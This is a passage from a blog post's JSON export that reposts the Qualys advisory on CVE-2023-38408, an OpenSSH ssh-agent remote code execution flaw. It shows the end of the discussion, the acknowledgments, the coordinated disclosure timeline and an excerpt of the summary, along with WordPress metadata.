\nlibrary, it is perfectly possible to replace it with an executable
\nthread stack (made executable by loading an “execstack” library),
\nbut we have failed so far to control the contents of such a thread
\nstack.<\/p>\n
========================================================================
\nAcknowledgments
\n========================================================================<\/p>\n
We thank the OpenSSH developers, and Damien Miller in particular, for
\ntheir outstanding work on this vulnerability and on OpenSSH in general.
\nWe also thank Mitre’s CVE Assignment Team for their quick response.
\nFinally, we dedicate this advisory to the Midnight Fox.<\/p>\n
========================================================================
\nTimeline
\n========================================================================<\/p>\n
2023-07-06: We sent a draft of our advisory and a preliminary patch to
\nthe OpenSSH developers.<\/p>\n
2023-07-07: The OpenSSH developers replied and sent us a more complete
\nset of patches.<\/p>\n
2023-07-09: We sent feedback about these patches to the OpenSSH
\ndevelopers.<\/p>\n
2023-07-11: The OpenSSH developers sent us a complete set of patches,
\nand we sent them feedback about these patches.<\/p>\n
2023-07-14: The OpenSSH developers informed us that “we’re aiming to
\nmake a security-only release … on July 19th.”<\/p>\n
2023-07-19: Coordinated release.<\/p>\n","protected":false},"excerpt":{"rendered":"
Qualys Security Advisory CVE-2023-38408: Remote Code Execution in OpenSSH’s forwarded ssh-agent ======================================================================== Contents ======================================================================== Summary Background Experiments Results Discussion Acknowledgments Timeline ======================================================================== Summary ======================================================================== “ssh-agent is a program to hold private keys used for public key authentication. Through use of environment variables the agent can be located and automatically used for authentication when logging in …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45360","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45360"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360\/revisions"}],"predecessor-version":[{"id":45469,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45360\/revisions\/45469"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}